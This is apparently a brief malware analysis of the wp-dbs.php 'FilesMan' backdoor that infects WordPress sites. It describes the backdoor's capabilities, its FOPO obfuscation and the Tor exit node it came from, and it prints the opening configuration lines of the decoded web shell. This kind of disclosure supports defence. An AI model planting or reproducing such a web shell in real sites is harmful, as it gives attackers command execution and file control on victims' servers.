wp-dbs.php - WordPress Backdoor (FilesMan)

The wp-dbs.php backdoor is know to infect WordPress websites by adding malicious PHP files to the server, allowing hackers to modify files on the server, running server commands, database queries etc.

A free PHP obfuscation tool called FOPO has been used to hide the code from malware and virus scanners. One of the recent variants of this malware is known to be created on Saturday, March 31st, 2018 at 17:12 UTC from IP

Details for

  • IP:
  • Hostname: tor.slashsrv.com
  • ISP: Iomart Hosting Limited
  • Organization: RapidSwitch
  • Services: Confirmed proxy server, Tor exit node
  • Recently reported forum spam source. (207)

Code Dump

Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/ 
This code was created on Saturday, March 31st, 2018 at 17:12 UTC from IP 
Checksum: 2c1447b5c382300091d258ccc7739863cf112199 

De-Coded Malware

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
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